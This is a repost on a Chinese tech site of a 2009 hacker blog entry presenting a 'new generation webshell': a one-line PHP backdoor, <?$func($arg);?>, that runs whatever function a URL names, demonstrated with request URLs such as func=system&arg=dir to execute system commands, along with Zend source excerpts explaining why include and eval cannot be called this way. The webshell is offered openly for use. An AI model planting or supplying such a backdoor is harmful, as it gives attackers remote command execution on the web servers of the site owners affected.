首页 电脑 电脑学堂 查看内容

新一代的webshell

2009-10-26 10:07 465 0

摘要: author:5up3rh3i'blog新一代的webshell<Dynamic Function Evaluation>在次拜读大牛的的文档<Dynamic Evaluation ...
关键词: function php zend 函数 system include 127.0 func nbsp http

author:5up3rh3i'blog新一代的webshell<Dynamic Function Evaluation>在次拜读大牛的的文档<Dynamic Evaluation Vulnerabilities in PHP applications>发现<Dynamic Function Evaluation>里可以做webshell那是太合适不过了 :)。Code:<?$func();?>http://127.0.0.1/zend/e.php?func=phpinfo成功执行phpinfo()我们看看system(),提交http://127.0.0.1/zend/e.php?func=system得到Warning: system() expects at least 1 parameter, 0 given看来system是执行了,但是没有提交参数。下面我们测试下参数提交:<?$func($arg);?>提交http://127.0.0.1/zend/e.php?func=system&arg=dir成功执行dir我们测试下其他的函数如include,eval ...的code执行的函数时提示:Fatal error: Call to undefined function include[具体原因不清楚,本人只是scripkid,看不太明白php本身的代码,如果有人知道还请告诉我一声。]直接执行本身的函数:<?if(!empty($func)){$func($arg);};function do_this ($a) {      global $b;     echo "a=".$a."<br>";     echo "b=". $b."<br>";?>提交http://127.0.0.1/zend/e.php?func=do_this&arg=dir&b=2得到:a=dirb=2这样我们就可以直接使用原来脚本里的函数了。经过boy指点 原来include,eval ..之类是zend的函数 不是php本身的函数Zend\zend_execute.c 里:------------------------------------case ZEND_INCLUDE_OR_EVAL: {zend_op_array *new_op_array=NULL;zval **original_return_value = EG(return_value_ptr_ptr);int return_value_used;int free_op1;.......case ZEND_INCLUDE_ONCE:case ZEND_REQUIRE_ONCE: {------------------------------------ext\standard\exec.h 里:------------------------------------00024: PHP_FUNCTION(system);00025: PHP_FUNCTION(exec);00026: PHP_FUNCTION(escapeshellcmd);00027: PHP_FUNCTION(escapeshellarg);00028: PHP_FUNCTION(passthru);00029: PHP_FUNCTION(shell_exec);00030: PHP_FUNCTION(proc_open);00031: PHP_FUNCTION(proc_close);------------------------------------
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部